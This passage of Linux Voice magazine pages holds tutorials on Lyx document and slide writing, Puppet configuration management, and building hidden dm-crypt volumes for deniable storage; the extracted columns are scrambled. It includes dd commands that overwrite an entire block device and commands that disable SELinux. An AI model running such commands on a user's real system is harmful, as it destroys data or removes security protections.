creative, say: “Hello, Lyx!”. Generate a preview: click
on the toolbar button with two eyes or press Ctrl+R.
                                                                                                                          Always use scaled
Shortly afterwards, you’ll see Evince, Okular or whatever        A well-structured document is not only good for
                                                                                                                          parentheses: the others
PDF viewer you set as the default displaying the              your readers, it is also easier for you to navigate.        simply don’t look great.
document. The first thing to note here is that Lyx has        Lyx has a document outline pane, but it is hidden by
automatically generated a front page for you, and also        default. Open it via the View menu, and you’ll be able
given each page a number. You can configure the               to jump across the text with a single mouse click.
exact view of the front page in Document > Settings.          This is not to mention that Lyx uses this structure to
Some adjustments, like removing the date, are just            produce a table of contents. You can insert one with
a matter of checking a box. Others, like changing the         Insert > List/TOC > Table Of Contents. If it appears
page numbering format, may require some Latex code.           empty in the preview, check that you have sections              PRO TIP
   There isn’t much point in describing all standard          numbered, as Lyx provides no easy way to include             Lyx provides tabs so you
                                                                                                                           can work with more than
environments here: most of them are self-explanatory          unnumbered sections in the TOC. Many PDF ebooks              one document in parallel.
and covered well in Essentials of Lyx (http://wiki.           and magazines (Linux Voice included) have clickable
lyx.org/uploads/LyX/tutorials/essentials/LyX_                 TOCs, so you can quickly go to the section of interest.
Essentials.pdf). Give them a try; for instance, create        Lyx can do this as well: just open Document Settings >
a bullet or traditional numbered list with Itemize or         PDF Properties, make sure Use Hyperref checkbox is
Enumerate. Toolbar buttons are provided for these             on, and Generate Bookmarks (TOC) is also enabled in
to complement the drop-down. The Verbatim option              the Bookmarks tab.
is here for preformatted text (like code samples),               Besides numbering parts of your document
and it uses monospace fonts. Alternatively, you can           automatically, Lyx also makes it really easy to
open one of the built-in examples available via the           insert various references. This is hardly a surprise
Examples button in the Open Document dialog.                  for a seasoned Latex user, but usually impresses
                                                              Office converts. You can move sections (and other
Going further                                                 elements) around, and never worry about any of your
Lyx is great for structured texts, so let’s create some       references becoming stale.
structure. Again, the options depend on the document.            Inserting a reference is a two-step process. First,
Sections and subsections are usually here, and if             you need to apply a label. To do so, click on the toolbar
you’re writing a book, there should be Chapters as well.      button with the tag icon. Lyx generates a default label
Add some division in the usual way and update the             name for you. Prefixing it with “sec:” (in this case)
preview (use the toolbar button with loop-shaped              is purely a common convention. Next, move to the
arrows or press Shift+Ctrl+R). By default, Lyx creates        place where you want the reference to appear, and
numbered sections. If this is not what you want, use          click on the toolbar button next to the one with the
environments that end with an asterisk (like Section*).       tag. A dialog will appear, where you should choose a
                                                              label you want to reference and also set the reference
                                                              format. For instance, you may want your reference to
  Commenting with Lyx
                                                              appear in parentheses, or contain the page number
  There are various ways to add comments to your Lyx          rather than the section. References look like grey
  documents. If you want them visible to your readers,        boxes in Lyx documents, and you need to update the
  simply insert a footnote via the Insert > Footnote menu     preview to see them live. References also appear
  or corresponding toolbar button. Notes are numbered         in the Outline pane: just switch it to Labels and
  automatically, which is convenient if you delete or move
                                                              References.
  them. Another option is a margin note. They appear at the
  page margin near the text they are attached to (hence the
  name). Margin notes are unnumbered.                         Math and more
     Finally, you may insert yellow Lyx notes. They won’t     The features we’ve looked at so far are quite useful on
  appear in the final document and are purely for your        their own. However, as you are exploring Lyx, there’s a
  convenience. Lyx notes are much like comments in
                                                              good chances that you’ll need to typeset
  programming languages.
                                                              mathematics. That was the initial design goal behind



                                                                www.linuxvoice.com                                                                     89
     TUTORIAL LYX

From left to right: the Lyx
document outline, PDF
outline and the table of
contents, all for the same
document.




                              Latex, and it’s no wonder Lyx provides a full-range                  Many people think that switching between mouse
                              support for it.                                                  and keyboard reduces productivity. If you’re in
                                  You start by creating a formula. Click the sigma-            that camp, you’ll be happy to know that the most
                              character toolbar button, or use the Insert > Math               frequently used math palette buttons have associated
                              menu for a full range of options. Basically, Lyx                 hotkeys that share the Alt+M prefix. For example,
                              distinguishes two formula types: inline and display.             press Alt+M then I to insert an integral. Look for other
                              Inline formulae appear within a line of a text, while            shortcuts in Tools > Preferences > Editing > Shortcuts
                              display is given the line all to itself. It’s also possible to   dialog, or in tooltips. You can also type Latex math
                              create numbered or multiline formulae (aka equation              mode commands directly, and Lyx will happily provide
                              arrays). You can create references to formulae the               visual representations for them.
                              usual way, and Lyx assigns the “eq:” prefix to formula               Consider the following sequence. Click on
                              labels automatically. Formulae also appear in the                Functions, choose “lim”, and click Subscript, or press
                              Outline pane under the Equations section (and the                Alt+M X. Type n, then \to (Latex command), press
                              Labels and References section, if you’ve assigned a              Space: not \to will reappear as a right arrow here.
                              label to them).                                                  Type \infty and press Space to insert an infinity
                                                         There’s a math palette at the         symbol; press Space again to leave the subscript.
                                                      bottom of the Lyx window. From           Press Alt+M (, then type 1, +, press Alt+M f to insert a
“PDF format guarantees                                there it’s fairly straightforward to     fraction, type 1, move down, type n. Move the cursor
that your document will                               create mathematical objects like
                                                      fractions: you click on palette
                                                                                               outside the parentheses, switch to Superscript and
                                                                                               type n again. Voilà! You’ve just typesetted the formula
look the same regardless.”                            buttons and fill the placeholders,       for natural logarithm base, or Euler’s number, e
                                                      like in any equation editor.             (2.71828 approximately).
                                                      However, as Lyx builds on Latex,             Besides sophisticated math, you can enrich your
                              you get professionally-looking output. Moreover, PDF             Lyx documents with other objects you usually expect
                              format guarantees that your document will look the               from a word processor. For example, you can insert a
                              same regardless the software you use to open it.                 picture. Click on the shapes icon in the toolbar, select
                                  Lyx can do any math you know about, and (unless              a file (preferably a vector format, like EPS), and it will
                              you are a professional mathematician) most of that               appear in the document. There are some nuances,
                              you never heard of. Sums, integrals, subscripts and              however. Latex (and hence Lyx) is somewhat stubborn
                              superscripts, roots and matrices are one click away              when it comes to placing images.
                              with respective palette buttons.                                     For a greater degree of control, consider using a
                                  Matrices do not have braces by default. To add               float (somewhat akin to Frame in OpenOffice.org).
                              them, don’t type: use the palette. The reason braces             Click on a figure in the dotted frame in the toolbar, or
                              are inserted that way is to adjust to the expression             select Insert > Float > Figure in the main menu. Now,
                              they bound: compare the two formulae in the image.               fill in the captions and insert your figure the usual
                              This is the way to go not only with matrices, but other          way. Then, right-click on a grey box, select Settings,
                              math objects as well. Arrows (for vectors), hats (for            uncheck Use Default Placement and adjust it as you
                              operators) and other types of accents are found under            need. Lyx also numbers floated figures so they can
                              the Frame decoration button. Mathematical functions              be referenced, and – you guessed it – listed in the
                              (like cosine) are in palette as well.                            Outline pane.



90                                                               www.linuxvoice.com
                                                                                                                              LYX TUTORIAL

  Creating tables (even those that span multiple
pages) is not much harder, so we won’t cover the
process here. Refer to the Essentials of Lyx tutorial, or
better try it yourself.

Beautiful slides
For the dessert, we’ll briefly cover creating
presentations. As you already know, from Lyx’s
standpoint they are pretty much like the text. The only
difference is document class. So, go to Document >
Settings > Document Class, scroll down to
Presentations, choose Beamer and click on Apply. A
few new options will appear under the Frames
sections in the Environments drop-down. Most                                                                                  Creating presentations
notably, there’s Frame. Select it now: Lyx will prompt           like best, and don’t forget to update the preview to see     with Lyx is not much
you for a frame’s title. Type whatever you want, then            the changes.                                                 different from creating
move the cursor outside the title field and press Enter.            The interactive options offered by Lyx may feel           texts.
Now you can create any content using environments                limited to LibreOffice Impress users, but they are still
you already know, including math. You can also use               available. The primary tool here is an overlay, which
sections to group slides together.                               can show and hide slide contents dynamically, fade
   While you’re working with frames, watch for the               the text in and out, highlight it and so on. Almost any
correct structure. Frames and other environments                 document element may have overlay specification
can be nested, and the containments shown as red                 attached. For instance, create an itemised list. Now,
bracket on the left. Always check that slide contents            call Insert > Overlay specification from the menu.
are really inside the frame (use Tab/Shift+Tab to                You’ll see a grey box saying “Overlay Specification”.
indent or deindent). Otherwise, you’ll get weird results.        Enter “+-” in a placeholder, and you’ll be able to show
   When you are done with this frame, create another             items in the list one by one with a click of a mouse
one. You can either insert a Separator environment,              (or a laser pointer) during your presentation. Overlays
or (better) use Edit > Start New Environment (or just            provide much more flexibility, and if you’re going to
press Alt+P Enter). Now, generate a preview. Do you              use them seriously, you should definitively look at the
like how it looks? If not, change the Beamer theme.              example Beamer document that comes with Lyx.
Open Document > Settings, go to Latex Preamble, and
paste some Latex code like this:                                 Final touches
\usetheme{Berkeley}                                              Your text or presentation is almost ready. However,
  This will make Beamer use the Berkeley theme.                  before you print it or otherwise show it to the wider
There are many of them available (see https://                   public, you may want to do some polishing.
www.hartwork.org/beamer-theme-matrix), but my                       Start with changing the fonts via Document                    PRO TIP
                                                                                                                               Lyx comes with Aspell
personal favourite is Singapore. Choose the one you              > Settings > Fonts. Changing the Default family
                                                                                                                               spell checker support:
                                                                 affects the document’s base font; document class              enable it in Tools >
                                                                 determines the default setting here. If (say) you             Preferences > Language,
  Create custom hotkeys                                                                                                        and you’ll never make
                                                                 aim strictly at screen readers, try switching to
                                                                                                                               another mistake.
  Lyx provides shortcuts for many of its features, but not all   Sans Serif. Actual fonts used as Roman, Sans Serif
  of them. If you find yourself touching the mouse too often,    and Typewriter (monospace) are chosen in drop-
  there is a way to remedy this.
                                                                 downs below. Better stick to Tex fonts and use
     Open Help > Lyx Functions and look up the command for
  the function you need. If, for example, you’re composing a     something non-default here (Latin Modern is a usual
  math text heavy on exponents, it would be math-insert \        recommendation). Now, you can export the document
  exp. Now, go to Tools > Preferences > Editing > Shortcuts,     to its final destination format. It’s PDF usually, but you
  and click on New. Enter the command, and assign it a           can also opt for EPS or even HTML. In the latter case,
  shortcut, say Alt+M Z (no mnemonic, it just happens to
                                                                 a folder named YourDoc.html.LyXconv rather than a
  be unused). Now, when you create a formula, Alt+M Z will
  insert an exp. You can also run commands directly from the     file will be created.
  Lyx command buffer. It’s available with View > Toolbars >         Hopefully this tutorial gave you enough to feel
  Command Buffer or via Alt+X. Simple!                           the potential of Lyx. This tool owes many of its
                                                                 superpowers to Latex, but packages them in a friendly,
                                                                 easy-to-use shell. There are many other features to try,
                                                                 and we encourage you to experiment and share your
                                                                 findings with others. Happy Lyxing!

                                                                  Dr Valentine Sinitsyn prefers programming bare-metal but
  This is a Lyx command line, er, buffer.                         occasionally writes some Python. He contributes to the
                                                                  Jailhouse hypervisor and teaches physics.




                                                                   www.linuxvoice.com                                                                    91
     TUTORIAL PUPPET



                              PUPPET: CONFIGURE MANY
          TUTORIAL
                              MACHINES THE EASY WAY
                              Repetition is the sysadmin’s bane. That’s why we have Puppet, an
     JON ARCHER
                              ingenious system for configuring multiple machines at once.


                              P
                                      uppet is a configuration management utility
 WHY DO THIS?                         which has been designed to aid in the
 • Automate repetitive jobs           automation of many tasks across various
 • Quickly roll out large-    systems. Configuration management manifest files
   scale deployments          are created using Puppet’s own language syntax and
 • Learn a vital tool for     then applied to a Linux (or Unix, Mac or Windows)
   the brave new world of     system. This allows for system administration tasks
   cloud computing
                              to be automated, reducing the tedium and time spent
                              on repetitive tasks – the ultimate sysadmin goal.
                                 While these manifests can be run on systems
                              locally to perform said tasks, storing these files on a     RPM packages can be found at yum.puppetlabs.com
                              central server running the aptly titled Puppet Master       whereas Deb packages live at apt.puppetlabs.com.
                              service allows the management of a whole host of
                              machines. Farming out configurations to an entire           differences in the configuration manifests.
                              estate drastically simplifies the management of                In this guide we will walk through the installation
                              servers and workstations across entire networks.            and setup of a Puppet Master and connected agents
                                 Take the scenario of a company running 50 servers        resulting in the application of a shared configuration
                              all having statically assigned IP details. A new DNS        to said agents. We will use CentOS 7 as the
                              server is brought online, so each of the 50 servers         distribution here, but Puppet is readily available on
                              requires a change to the /etc/resolv.conf. Without          most, if not all, distributions.
                              configuration management tools this would mean                 Before we get to the nitty gritty there are a few
                              either SSH sessions to all servers and editing the files,   prerequisites to installing puppet:
                              or copying the files to each using scp, which would            Hostnames configured This will ensure the correct
                              take an inordinate amount of time. With Puppet a               information is transferred when configuring clients.
                              small manifest ordering all the connected Puppet               DNS As with most projects, DNS or host file entries
                              clients (or agents) to copy the configuration file takes       are a useful element to ensure nodes can
                              care of your required configuration change the next            communicate using friendly names rather than IP
                              time they check in.                                            addresses.
                                 As mentioned previously there are two elements              Puppet agents out of the box look for the Puppet
                              to a Puppet configuration management system: the               Master server on the network using the hostname
We’re starting Puppet from    Puppet Master where all the manifests are stored, and          ‘puppet’ – while this can be configured on the client
systemd. Try not to get       the Puppet agents, which run on the client servers, or         to look for a different hostname it’s far easier to
carried away when you’re      workstations. The agents poll the master on a given            have a DNS or host file entry for Puppet.
called the Puppet Master.     schedule (by default every 30 minutes) and check for           NTP Accurate time is vital for Puppet to correctly
                                                                                             work, mainly due to the master server also acting as
                                                                                             certificate authority. If there is a discrepancy in time
                                                                                             between the Puppet Master and the agents, then
                                                                                             certificates could seem to be expired and therefore
                                                                                             policies not applied.
                                                                                             For this guide let’s assume we have three servers
                                                                                          each with a CentOS 7 minimal install, one of which will
                                                                                          run the Puppet Master service and the others running
                                                                                          the agent (we will assume hostnames of server1,
                                                                                          server2 and server3 with IP addresses 192.168.1.10,
                                                                                          192.168.1.11 and 192.168.1.12 respectively).
                                                                                             Append the following to the host files on all three
                                                                                          machines:
                                                                                          192.168.1.210 server1.localdomain server1 puppet
                                                                                          192.168.1.211 server2.localdomain server2



92                                                            www.linuxvoice.com
                                                                                                                                 PUPPET TUTORIAL

192.168.1.212 server3.localdomain server3
  Now we need to install the packages on the above
servers. PuppetLabs, the people behind the software,
provide software repositories with the very latest
version. They also provide an Enterprise edition of
Puppet, which is not to be confused with the open
source offering that we’re using here.
  Let’s install the PuppetLabs repository where we will
get the puppet packages from
yum localinstall http://yum.puppetlabs.com/puppetlabs-release-
el-7.noarch.rpm
  Once that is installed we can grab the software
yum install puppet-server
This will install the software required to create a
Puppet Master server and its dependencies.
   The first thing that needs to occur now we have the
                                                                                                                                    Puppet manages its own
software installed is to generate an SSL certificate.                master service as a daemon
                                                                                                                                    certificate generation, and
This certificate is used during the operation of Puppet              systemctl start puppetmaster                                   this needs to be done first.
to ensure secure communication between the                           systemctl enable puppetmaster
master and its agents, the Puppet Master will sign the                 We need to ensure the firewall is open to allow
certificate requests from agents when they initially                 agents to connect
connect, and this initial generation is the first step in            firewall-cmd --add-port=8140/tcp --permanent
this process. There are multiple ways to generate the                firewall-cmd --reload
certificate dependant upon the desired configuration;                  For the purposes of this guide we will be disabling
for example, if you have multiple Puppet Masters                     SELinux to ensure that doesn’t stand in our way; run
on the same network, however we are building a                       these two commands to disable it:
simple setup with a single master, so the process is                 sed -i s/SELINUX=enforcing/SELINUX=disabled/g /etc/selinux/
straightforward. We need to launch Puppet Master                     config
non-daemonised:                                                      setenforce 0
puppet master --verbose --no-daemonize                                  The Puppet Master service is now installed and
  You will see something along the lines of:                         running on server1, and a similar process can be
[root@server1 ~]# puppet master --verbose --no-daemonize             followed on server2 and server3 to install the agent.
Info: Creating a new SSL key for ca                                     First of all it’s a good idea to watch the
Info: Creating a new SSL certificate request for ca                  syslog on the master server to ensure           “Puppet reduces the
Info: Certificate Request fingerprint (SHA256): EF:E8:17:9D:FD:
DA:40:38:D8:96:74:BE:CD:1C:45:7C:14:51:1C:F9:D9:D6:40:3F:1
                                                                     we see any inbound connections from
                                                                     the agents:
                                                                                                                     tedium and time spent
B:B7:9D:D4:D8:0C:F0:36                                                  Let’s watch the logs on the master           on repetitive tasks.”
Notice: Signed certificate request for ca                            server for any inbound requests from
Info: Creating a new certificate revocation list                     agents:
Info: Creating a new SSL key for server1.localdomain                 tailf /var/log/messages
Info: csr_attributes file loading from /etc/puppet/csr_attributes.     On each server2 and server3:                                      PRO TIP
yaml                                                                 yum -y localinstall http://yum.puppetlabs.com/puppetlabs-       PuppetForge offers a vast
                                                                                                                                     collection of modules
Info: Creating a new SSL certificate request for server1.            release-el-7.noarch.rpm                                         ready to be downloaded
localdomain                                                          to install the PuppetLabs repository configuration,             to your Puppet Master. If
Info: Certificate Request fingerprint (SHA256): F0:D0:94:C6:76:      then we can install the puppet agent software:                  there is a task you wish
                                                                                                                                     to undertake with puppet
17:14:14:B1:99:D7:C4:04:93:BD:A3:63:E8:DD:3B:63:63:E2:F5:0           yum -y install puppet                                           it may be worth checking
B:7E:9F:90:D4:D3:0B:A0                                                 The next step is to start and enable the agent                here first. https://forge.
Notice: server1.localdomain has a waiting certificate request        service:                                                        puppetlabs.com.
Notice: Signed certificate request for server1.localdomain           systemctl start puppet
Notice: Removing file Puppet::SSL::CertificateRequest server1.       systemctl enable puppet
localdomain at ‘/var/lib/puppet/ssl/ca/requests/server1.               We can also start and enable the puppet service on
localdomain.pem’                                                     the Puppet Master server server1; after all it will be a
Notice: Removing file Puppet::SSL::CertificateRequest server1.       server within the bounds of requiring configuration.
localdomain at ‘/var/lib/puppet/ssl/certificate_requests/server1.      The first time the agent is started it will send a
localdomain.pem’                                                     certificate request to the Puppet Master. As described
Notice: Starting Puppet master version 3.7.4                         earlier this is all part of ensuring the communication
  Once you see the notice that the Puppet master is                  between master and agents is nice and secure. When
being started the certificate generation is complete                 the agent is started and the certificate request is
and we can now continue. You now need to hit Ctrl+C                  sent you should see syslog entries appear on server1
to kill the process so we can enable and launch the                  detailing these happenings.



                                                                       www.linuxvoice.com                                                                     93
     TUTORIAL PUPPET

                                                                                         node definition acts as a catch all to nodes that
                                                                                         haven’t been declared specifically. The hostname-
                                                                                         based definition is where a node definition targets a
                                                                                         host specifically. Let’s take a look at a simple /etc/
                                                                                         manifests/site.pp:
                                                                                         node default {
                                                                                                    include resolvconf
                                                                                         }
                                                                                         node ‘server2.localdomain’
                                                                                                    include resolvconf
                                                                                                    include test
                                                                                         }
                                                                                            This site.pp manifest includes two node definitions,
                                                                                         the default and one for server2. Within these
                                                                                         definitions are the configuration classes which
                                                                                         will be applied to these nodes. So for our sample
Puppet was initially
                           Feb 2 14:11:07 puppet puppet-master[20580]: server2.          environment server1 and server3 recieve the default
released in 2005 by Luke
Kanies, who went on to     localdomain has a waiting certificate request                 configuration class, resolvconf, as they haven’t
found PuppetLabs, the        Notice we haven’t had to perform any configuration          been explicitly defined. Server2 receives a unique
company behind the         on the agent machines. This is due to the previously          configuration which contains the class resolvconf and
enterprise version of      added host file entry of puppet as an alias to server1,       the additional class test.
Puppet.                    which the puppet agent will default to, making the               Let’s look at the classes we have defined for our
                           whole process so much more simple.                            nodes. These classes will define the configuration
                             Once you have installed and started the agent               received and can be placed inside a module. A Puppet
                           service on both server2 and server3 we can head               module is a good way to bundle Puppet configuration
                           back to the master server and look at those certificate       manifests and associated data together. Taking our
                           requests (you may need to open another terminal if            example class of test, we can create a module for
                           you do not wish to close the syslog tail).                    this configuration element and place our manifest
                             Running the command:                                        inside it. Best practise for Puppet states that nearly all
                           puppet cert list                                              manifests should belong inside modules with the sole
                           will show any pending certificate requests which can          exception of site.pp, which we saw earlier. Modules
                           be signed using:                                              are placed as subdirectories within the /etc/puppet/
                           puppet cert sign fqdn                                         modules directory, under which various subdirectories
                           fqdn being the fully qualified domain name of the             are created for the various elements of the module.
                           server requesting a certificate to be signed – this will         Manifests associated with modules reside in a
                           show up when the list command is given. We should             manifests directory within the module and start at
                           see two requests waiting for us for server2 and               the init.pp file, which will contain the class definitions
                           server3, so let’s go ahead and sign them                      (class name must match the module name). Our test
                           puppet cert sign server2.localdomain                          example would have a manifest file here:
                           puppet cert sign server3.localdomain                          /etc/puppet/modules/test/manifests/init.pp
                             All certificates, both signed and unsigned, can be              Let’s look at a class definition:
                           seen by issuing the command                                   class test{
                           puppet cert list --all
                              Signing the certificates is the last step in this simple   }
                           configuration in getting Puppet up and running. We               Here we have defined the class test. At this point
                           can now go ahead and start pushing configurations to          it doesn’t actually perform any functions; for this we
                           the agents.                                                   need to introduce resources. A resource describes an
                              On a CentOS system the configurations are stored           aspect of the system you are planning to configure ie
                           at /etc/puppet on the master server. Within this              a package to be installed, a service to control or a file
                           directory are several sub-directories; of importance          to modify. In order for us to manage a resource on a
                           to us for this guide are the manifests and modules            node we need to declare it within our class. For our
                           folders. The puppet configuration catalog that the            test class we are looking to send a simple notification,
                           agent pulls always starts within the manifests                so we need to use the notify type of resource. A
                           directory with a file called site.pp. In this file we can     notification message would look something like:
                           declare the agents that will be connecting, which             notify {“I’m notifying you.”:}
                           are defined as nodes. The configurations that these             Completing our test module with the notify
                           nodes will retrieve are defined as classes.                   resource type would look like this:
                              There are two node definitions we will concern             class test{
                           ourselves with here: the default node definition              notify {“I’m notifying you.”:}
                           and hostname-based node definition. The default               }



94                                                            www.linuxvoice.com
                                                                                                                              PUPPET TUTORIAL

  When the Puppet agent on server2 polls the master,
a notification would then be found in the resultant
downloaded catalog, although you would need to view
the syslog to see this notification.
  Let’s try this out: on the master edit /etc/puppet/
manifests/site.pp to contain
node ‘server2.localdomain’ {
             include test
             }
mkdir /etc/puppet/modules/test/manifests -p
edit
/etc/puppet/modules/test/manifests/init.pp
class test{
notify {“ test notification “:}
}
  Run the test command to perform a manual poll on
server2 by running the command
                                                                                                                                    Puppet is used by some big
puppet agent -t                                                  class resolvconf {
                                                                                                                                    name companies such as
  You should see something similar to the following              file { “/etc/resolv.conf”:                                         The Wikimedia Foundation,
with the notify message being present:                                      ensure => file,                                         Reddit, Google, PayPal,
[root@server2 ~]# puppet agent -t                                           source => ‘puppet:///modules/resolvconf/resolv.conf’,   Oracle, Twitter, The New
Info: Retrieving pluginfacts                                                path => “/etc/resolv.conf”,                             York Stock Exchange and
Info: Retrieving plugin                                                     owner => root,                                          Spotify.
Info: Caching catalog for server2.localdomain                               group => root,
Info: Applying configuration version ‘1426284530’                           mode => 644,
Notice: test notification                                              }
Notice: /Stage[main]/Test/Notify[ test notification ]/message:   }
defined ‘message’ as ‘ test notification ‘                         This manifest tells our agents to download the
Notice: Finished catalog run in 0.05 seconds                     resolv.conf file from our file bucket, store it at
   Now we have the basics of creating a manifest                 /etc/resolv.conf, apply ownership permissions
we can start to do useful things. One of the classes             (owner, group and mode) and ensure the file exists.
mentioned in our initial site.pp manifest was include            The manifest will ensure our resolv.conf on all our
resolvconf. Let’s create this to create/modify the               servers will remain correctly configured, and changes
/etc/resolv.conf file on our servers. To do this we              to the local version of the file will be overwritten on the
will use the file resource type, which will instruct our         next agent poll.
agents to download a file from what is known as a                  The contents of the /etc/puppet/modules/
file bucket. A file bucket is a directory which is stored        resolvconf/files/resolv.conf file will be
inside the module directory alongside the manifests              search localdomain
directory. In our case we will store a complete resolv.          nameserver 192.168.1.1
conf file in a file bucket for our resolvconf module.              To ensure this module is applied we can revert
The directory structure for this would look like this:           to the first site.pp mentioned to include the class
/etc/puppet/modules/resolvconf                                   resolvconf in both the default and specific node
           - manifests/init.pp                                   definitions. Re-running the command
           - files/resolv.conf                                   puppet agent -t
For this module our manifest file will contain the               should see this configuration apply to all nodes
details for the resolvconf class, and point to the               including the class in their definition and non-defined
resolv.conf that the agent needs to download.                    nodes due to the default node definition containing
                                                                 the class.
                                                                    We have barely scratched the surface with our
                                                                 configuration manifests here. There’s so much
                                                                 more to Puppet, allowing deployment of packages,
                                                                 files, and control of services. It covers pretty much
                                                                 every component of every sysadmin task, allowing
                                                                 automation of mundane repetitive jobs but also
                                                                 allowing the orchestration of software stacks to aid
                                                                 in quick deployments, which is key in today’s world of
                                                                 cloud services and scalable systems.

                                                                  Jon Archer is a Fedora ambassador, founder of RossLUG, and
PuppetLabs is very much pro open source, and releases
                                                                  local government IT chap in rainy Lancashire.
the code under the Apache 2.0 Licence (previously GPL).



                                                                   www.linuxvoice.com                                                                      95
      TUTORIAL HIDDEN ENCRYPTED VOLUMES



                               HIDDEN ENCRYPTED VOLUMES:
           TUTORIAL
                               KEEP DATA SAFE AND SECRET
                               Use standard Linux tools to hide data so well that even Alan Turing
JAKE MARGASON
                               would be stumped.


                               T
                                        rueCrypt development officially ended in May
  WHY DO THIS?                          of 2014. It was good software and I was sad
  • Create the ultimate                 to see it go. Although there was controversy
    device for hiding          about alleged back doors in the software, the
    encrypted data             concepts it implemented are still valuable.
  • Keep some plausible          TrueCrypt had empowered users to secure their
    deniability if your
    password gets coerced      data with strong encryption, and even provided              We write random data to the drive so that our encrypted
    from you                   tools to create and use hidden volumes, which were          partition will be perfectly camouflaged.
  • Won’t somebody please      especially useful in cases involving potential coercion.
    think of the hamsters?     These hidden volumes provided any user with the             I will walk you through setting up a file for testing
                               ability to use an alternative password to attempt to        purposes. Those who are using a normal HDD or a
                               fool a coercive party into thinking that the user had       flash drive may skip down to the next section.
                               given them the information they believed to be hidden
                               on the disk, while in reality exposing only decoy data.     Make a fake block device if you can’t find one
                                 This model relies on the ability to have two separate     To make a file that will work for our purposes we’ll use
                               volumes hidden within an encrypted disk: one volume         dd. As I’m sure you are already aware, dd is a very
                               contains the actual sensitive information and the           powerful and deadly command that will smite any
                               other contains the decoy information. TrueCrypt had         data in its path, so type carefully. First create the file:
      PRO TIP                  a nice graphical interface to accomplish this, but we’ll      $: dd if=/dev/zero of=/path/to/fake_disc bs=1024M count=2
  Sleep well. A long awaited   be using command line tools. By the end we will have        We’ll make it into a block device using /dev/loop[0-7].
  audit of TrueCrypt has       created a device that contains a working partition            $: sudo losetup /dev/loop0 /path/to/fake_disc
  proven its clear of
  ‘deliberate’ backdoors.      table and filesystem with normal data like movies             Now that you have a fake disk to play with, treat it
                               or other media, as well as two hidden partitions: one       as you would any other block device, such as
                               with decoy data, and one with sensitive data. We will       /dev/sdb for the rest of this exercise.
                               accomplish this using only standard Linux tools.
                                                                                           Prepare the device
                               Find a device                                               The first thing that we need to do is to randomise all
                               Before you begin on this expedition you will need           of the data contained in our disc. There is some
                               some kind of disposable device. The operations that         debate on how exactly to do this. The most popular
                               we will perform on this disk will destroy all of the data   methods are shred and /dev/urandom. No matter
                               that is currently contained within. Make sure that          which method you use, what you need to know before
                               there is nothing that you have not backed up on the         you decide is how secure you need the data to be.
                               disk that you choose. I will be using a 2G flash drive      These methods rely on using pseudo-random data
                               for these experiments, though it should be noted that       from the kernel’s entropy pool. Using /dev/random is
                               the way flash memory works poses challenges that            the most secure, however if the entropy pool gets
                               will be addressed later on.                                 empty or too low /dev/random will stop until the pool
                                 An alternative if you have no disks available for         contains enough randomness for it to function. This
                               these purposes is to use a file. This is so easy that       means that it may take a very very long time to
                                                                                           overwrite the disc, and so its usefulness is limited to
                                                                                           only the most sensitive data and only small sizes.
                                                                                           Shred and /dev/urandom are better options for our
                                                                                           purposes, though some say that theoretically these
                                                                                           are not completely invulnerable to a highly
                                                                                           sophisticated attacker. This is often countered with a
                                                                                           retort about paranoia and the assurance that /dev/
                                                                                           urandom is a perfectly fine solution. I’ll let you land
 If you don’t feel up to the                                                               wherever you like on the issue.
 terminal austerity of fdisk                                                                  No matter the method you choose, you can also
 you could use GPartEd                                                                     augment your entropy pool and thus increase its



 96                                                             www.linuxvoice.com
                                                                                 HIDDEN ENCRYPTED VOLUMES TUTORIAL

effectiveness with some third-party tools that utilise
noise from hardware devices to add additional
entropy. One such tool is havaged (www.issihosts.
com/haveged) another is aed and/or ved (www.
vanheusden.com/aed). After you install any of these
tools you can see how much entropy is currently
available with:
  $: watch cat /proc/sys/kernel/random/entropy_avail
  For this exercise we’ll just use /dev/urandom.
  $: sudo dd if=/dev/urandom of=/dev/sd* ## or /dev/loop0
Depending on the device you’re using this will take
from a couple of minutes to a couple of days. Our 2G
USB drive took about 12 minutes.

Set up the normal partition
First we’ll partition the drive.
  $: fdisk /dev/sd*
                                                                                                                          Despite the hidden and
   Create a partition that takes up the whole drive.           from the blank parts of the disk. We are going to use
                                                                                                                          encrypted nature of our
Feel free to use GParted or another GUI tool if you            cryptsetup, which is a tool that lets us use the           partition, we’re still using
are more comfortable. The only thing that must be              dmcrypt kernel module to create a plain hidden             standard tools.
accomplished is the creation of a partition that utilises      partition that is indistinguishable from empty disk
the entire drive. Once you are done with that, create a        space. Depending on your distribution you may need
filesystem on the partition. Have a look in /dev/ and          to install this tool yourself.
see if the partition is showing up before you try to              Normally when you create an encrypted partition
create the filesystem. If you can’t find /dev/sd*1 or          it uses a Luks key. Luks in its default mode places
/dev/loop*p1 try running:                                      a header at the beginning of the device or file that
  $: sudo partprobe /dev/sd* ## or /dev/loop0 if applicable    contains a hashed key in one of up to eight key slots
  Once you’re able to see the partition in /dev/ you are       and all of the cipher information as well. The problem
ready to make your filesystem:                                 is that if there is a Luks header present it proves that
  $: mkfs.ext4 /dev/sd*1                                       there is probably data hidden on the drive. What we
  Now we’ll mount the partition so we can add some             will do is to forego this Luks header by using dmcrypt
data.                                                          in plain mode. This mode enables us to take raw
  $: mount /dev/sd*1 /mnt/temp ## you can make your own test   blocks from the drive and then apply a block cipher, an
directory named whatever.                                      offset, and a passphrase to decrypt them.
   OK, now we need to put something in the filesystem             There are two things to note about using the
like a movie or a folder full of photos or whatever you        plain mode: Number one is that you must have an
would plausibly use the partition for.                         exceedingly long passphrase to protect your data,
  $: cp /path/to/something /mnt/temp/                          because instead of the passphrase unlocking a
   Once whatever files you have chosen are done                strong key and then using that key to unlock the
transferring, unmount the partition.                           disc, your passphrase acts as the entire key itself. I
  $: umount /dev/sd*1                                          would recommend 14 random words, some special                   PRO TIP
                                                               characters, and some numbers if you want military           Make sure that you don’t
Create the decoy                                               level security. However, seven random words should          fill the disk up more than
                                                                                                                           halfway when you’re
Now we get to the fun part: creating our first hidden          be just fine for a reasonable level of security. Make       putting files in your decoy
encrypted partition. Remember when we wrote over               sure that you use a random word generator, as just          partition: I would
the entire disk with random data? We did that because          coming up with seven random words from your head            recommend only filling up
                                                                                                                           10–30% if it is an SSD or
we want our hidden partition to be indistinguishable           is not really very random. An easy way to do this is:       Flash device.
                                                                $: aspell dump master | shuf -n 7
                                                                 or
                                                                $: cat /usr/share/dict/<your-lib-here> | shuf -n 7
                                                                  Number two is that we also need to use the offset
                                                               parameter to make sure that our hidden container
                                                               doesn’t overwrite the filesystem and files that we have
                                                               placed at the beginning of the drive.
                                                                  We’ll use cryptsetup to open our encrypted block
                                                               device. The offset parameter number represents
                                                               512 byte sectors. Use fdisk to determine the total
